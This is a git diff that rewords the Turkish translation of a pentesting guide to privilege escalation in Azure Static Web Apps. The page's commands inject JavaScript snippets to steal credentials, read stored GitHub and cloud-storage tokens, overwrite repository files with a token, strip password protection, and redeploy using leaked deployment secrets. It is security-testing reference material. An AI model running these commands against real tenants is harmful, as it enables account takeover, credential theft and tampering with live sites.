diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index f858848a1..bf7983c69 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -Daha fazla bilgi için bakın: +Bu hizmet hakkında daha fazla bilgi için bakınız: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ Daha fazla bilgi için bakın: ### Microsoft.Web/staticSites/snippets/write -Bir snippet oluşturarak bir static web sayfasının rastgele HTML kodu yüklemesi sağlanabilir. Bu, saldırganın web app içine JS kodu enjekte etmesine ve credentials veya mnemonic keys (in web3 wallets) gibi hassas bilgileri çalmasına yol açabilir. +Bir snippet oluşturarak statik bir web sayfasının keyfi HTML kodu yüklemesi sağlanabilir. Bu, saldırganın web app içine JS kodu enjekte etmesine ve kimlik bilgileri veya mnemonic keys (web3 wallets'taki) gibi hassas bilgileri çalmasına olanak tanıyabilir. -Aşağıdaki komut web app tarafından her zaman yüklenecek bir snippet oluşturur:: +Aşağıdaki komut, web app tarafından her zaman yüklenecek bir snippet oluşturur:: ```bash az rest \ --method PUT \ @@ -33,20 +33,20 @@ az rest \ ``` ### Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma -As explained in the App Service section: +App Service bölümünde açıklandığı gibi: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Aşağıdaki komutu çalıştırarak, mevcut hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini okuyabilirsiniz**. Örneğin bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, token'a başka bir kullanıcıdan erişemeyeceğinizi unutmayın. +Aşağıdaki komutu çalıştırarak, geçerli hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini** okuyabilirsiniz. Örneğin bazı Github kimlik bilgileri farklı bir kullanıcıya yapılandırılmışsa, token'a başka bir kullanıcıdan erişemezsiniz. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -Bu komut Github, Bitbucket, Dropbox ve OneDrive için tokens'ları döndürür. +Bu komut Github, Bitbucket, Dropbox ve OneDrive için token'ları döndürür. -İşte tokens'ları kontrol etmek için bazı komut örnekleri: +İşte token'ları kontrol etmek için bazı komut örnekleri: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Dosya üzerine yazma - routes, HTML, JS... +### Dosya üzerine yazma - Rotaları, HTML, JS... -Uygulamayı barındıran **Github repo** içinde bir dosyayı, Azure'ın elindeki **Github token** ile aşağıdakine benzer bir istek göndererek **üzerine yazmak** mümkündür; bu istek üzerine yazılacak dosyanın yolunu, dosya içeriğini ve commit mesajını belirtir. +Azure'ın **Github token**'ına sahip olması yoluyla, uygulamayı içeren Github repo içindeki bir **dosyayı üzerine yazmak** mümkündür; aşağıdaki gibi bir istek gönderilerek hangi dosya yolunun üzerine yazılacağı, dosya içeriği ve commit mesajı belirtilir. -Bu, saldırganlar tarafından temel olarak **web uygulamasının içeriğini değiştirmek** (kötü amaçlı içerik sunmak; credentials, mnemonic keys... çalmak) veya `staticwebapp.config.json` dosyasını üzerine yazarak belirli yolları kendi sunucularına **yeniden yönlendirmek** için kötüye kullanılabilir. +Bu, saldırganlar tarafından temelde web uygulamasının içeriğini değiştirip kötü amaçlı içerik sunmak (kimlik bilgilerini, mnemonic anahtarları çalmak...) veya sadece belirli yolları kendi sunucularına yönlendirmek için `staticwebapp.config.json` dosyasını üzerine yazarak kötüye kullanılabilir. > [!WARNING] -> Bir saldırgan Github repo'yu herhangi bir şekilde ele geçirmeyi başarırsa, dosyayı doğrudan Github üzerinden de üzerine yazabilir. +> Eğer bir saldırgan Github reposunu herhangi bir şekilde ele geçirirse, dosyayı doğrudan Github üzerinden de üzerine yazabilirler. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` -### Microsoft.Web/staticSites/config/write +### Microsoft.Web/staticSites/config/write -Bu izin ile, bir static web app'i koruyan şifreyi **değiştirmek** veya hatta her ortamdaki korumayı kaldırmak mümkündür; aşağıdaki gibi bir istek gönderilerek: +Bu izinle, aşağıdaki gibi bir istek göndererek bir static web app'i koruyan **parolayı değiştirmek** veya hatta her ortamın korumasını kaldırmak mümkündür: ```bash # Change password az rest --method put \ @@ -133,9 +133,9 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -Bu izin, static app için **API key deployment token**'ı almayı sağlar. +Bu izin statik uygulama için **API key deployment token**'ı almayı sağlar. -az rest kullanılarak: +az rest kullanarak: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" @@ -144,25 +144,25 @@ AzCLI kullanarak: ```bash az staticwebapp secrets list --name --resource-group ``` -Then, in order to **token kullanarak bir uygulamayı güncellemek için** you could run the following command. Note that this command was extracted checking **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)'ın nasıl çalıştığını** kontrol ederek çıkarılmıştır, as it's the one Azure set by default ot use. So the image and parameters could change in the future. +O zaman, **token kullanarak bir uygulamayı güncellemek** için aşağıdaki komutu çalıştırabilirsiniz. Bu komut, Azure'un varsayılan olarak kullanması için ayarladığı **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)'ın nasıl çalıştığını** inceleyerek çıkarıldı. Bu yüzden imaj ve parametreler gelecekte değişebilir. > [!TIP] -> Uygulamayı dağıtmak için [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) adresindeki **`swa`** aracını kullanabilir veya aşağıdaki ham adımları izleyebilirsiniz: +> Uygulamayı dağıtmak için **`swa`** aracını [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) adresinden kullanabilir veya aşağıdaki temel adımları izleyebilirsiniz: -1. Repo'yu [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ya da dağıtmak istediğiniz başka bir repo) indirin ve `cd react-basic` çalıştırın. +1. Repo'yu [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (veya dağıtmak istediğiniz başka bir repo) indirip `cd react-basic` çalıştırın. 2. Dağıtmak istediğiniz kodu değiştirin -3. Aşağıdaki komut ile deploy edin ( ``'i değiştirmeyi unutmayın): +3. Aşağıdaki komutla dağıtın ( ``'i değiştirmeyi unutmayın): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Token'a sahip olsanız bile eğer **Deployment Authorization Policy** **Github** olarak ayarlıysa uygulamayı deploy edemezsiniz. Token'ı kullanmak için deployment yöntemini APi token'ı kullanacak şekilde değiştirmek üzere `Microsoft.Web/staticSites/write` iznine ihtiyacınız olacak. +> Tokena sahip olsanız bile uygulamayı dağıtamazsınız eğer **Deployment Authorization Policy** **Github** olarak ayarlıysa. Token'ı kullanmak için dağıtım yöntemini APi token'ı kullanacak şekilde değiştirmek üzere `Microsoft.Web/staticSites/write` iznine ihtiyacınız olacak. ### Microsoft.Web/staticSites/write -Bu izin ile **static web app'in kaynağını farklı bir Github repository'sine değiştirmek** mümkün, ancak bu otomatik olarak provision edilmeyecek çünkü bu işlem bir Github Action tarafından yapılmalıdır. +Bu izin ile **static web app'in kaynağını farklı bir Github deposuna değiştirmek** mümkündür; ancak bu otomatik olarak provision edilmeyecektir çünkü bu işlem bir Github Action tarafından yapılmalıdır. -Ancak, eğer **Deployment Authotization Policy** **Github** olarak ayarlıysa, uygulamayı **yeni kaynak deposundan güncellemek** mümkün olacaktır!. +Ancak eğer **Deployment Authotization Policy** **Github** olarak ayarlıysa, uygulamayı **yeni kaynak deposundan güncellemek mümkün!**. Eğer **Deployment Authorization Policy** Github olarak ayarlı değilse, bunu aynı `Microsoft.Web/staticSites/write` izni ile değiştirebilirsiniz. ```bash @@ -250,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -Bu izin ile **static web app'in API key'ini sıfırlamak** mümkün olup, uygulamayı otomatik olarak deploy eden workflows'ları potansiyel olarak DoSing yapabilir. +Bu izinle **static web app için API key'i sıfırlamak** mümkün olup, uygulamayı otomatik olarak deploy eden workflows'ları potansiyel olarak DoSing yapabilir. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -Bu izin, belirli bir role sahip olarak bir kullanıcıyı static web uygulaması içindeki korumalı yollara erişmesi için **kullanıcıya davet oluşturma** yetkisi verir. +Bu izin, belirli bir rol ile statik bir web uygulamasının içindeki korumalı yollara erişim için bir kullanıcıya **davet oluşturmayı** sağlar. -Giriş, github için `/.auth/login/github` veya Entra ID için `/.auth/login/aad` gibi bir yolda bulunur ve bir kullanıcı aşağıdaki komutla davet edilebilir: +Giriş, github için `/.auth/login/github` veya Entra ID için `/.auth/login/aad` gibi bir yolda bulunur ve bir kullanıcı şu komutla davet edilebilir: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -272,12 +272,12 @@ az staticwebapp users invite \ ``` ### Pull Request'ler -Varsayılan olarak aynı repodaki bir branştan gelen Pull Request'ler otomatik olarak derlenir ve bir staging ortamında build edilir. Bu, repoda write erişimi olan fakat üretim branch'inin (genellikle `main`) branch korumalarını aşamayan bir saldırgan tarafından staging URL'sine **kötücül bir uygulama sürümü deploy etmek** için suistimal edilebilir. +Varsayılan olarak aynı repo içindeki bir branch'ten gelen Pull Request'ler otomatik olarak derlenir ve bir staging ortamında build edilir. Bu, repo üzerinde yazma erişimi olan ancak üretim branch korumalarını (genellikle `main`) atlayamayan bir saldırgan tarafından staging URL'sine **uygulamanın kötü amaçlı bir sürümünü deploy etmek** için suistimal edilebilir. -The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +Staging URL şu formatta olur: `https://-..` örnek: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Varsayılan olarak dış PR'lerin repository'ye en az 1 PR merge etmedikçe workflow'ları çalıştırmayacağını unutmayın. Bir saldırgan repo'ya geçerli bir PR gönderebilir ve **sonra kötü niyetli bir PR** göndererek kötü niyetli uygulamayı staging ortamına deploy edebilir. ANCAK, beklenmedik bir koruma vardır: static web app'e deploy eden varsayılan Github Action, dağıtım token'ını içeren secret'a (örneğin `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) erişim gerektirir; deploy IDToken ile yapılsa bile. Bu, dış bir PR'nin bu secret'a erişimi olmayacağı ve bir dış PR'nin kabul edilmeden Workflow'u değiştirip buraya rastgele bir token koyamayacağı anlamına gelir; dolayısıyla **bu saldırı gerçekten çalışmayacaktır**. +> Varsayılan olarak harici PR'ler, repository'ye en az 1 PR merge etmedikçe workflows çalıştırmazlar. Bir saldırgan repo'ya geçerli bir PR gönderip **sonra staging ortamına kötü amaçlı uygulamayı deploy etmek için repo'ya kötü amaçlı bir PR gönderebilir**. ANCAK beklenmedik bir koruma vardır: static web app'e deploy eden varsayılan Github Action, deployment token'ını içeren secret'a (ör. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) erişim gerektirir, deployment IDToken ile yapılsa bile. Bu yüzden harici bir PR bu secret'a erişemeyeceğinden ve harici bir PR kabul edilmeden Workflow'u değiştirip buraya rastgele bir token koyamayacağından, **bu saldırı aslında işe yaramaz**. {{#include ../../../banners/hacktricks-training.md}}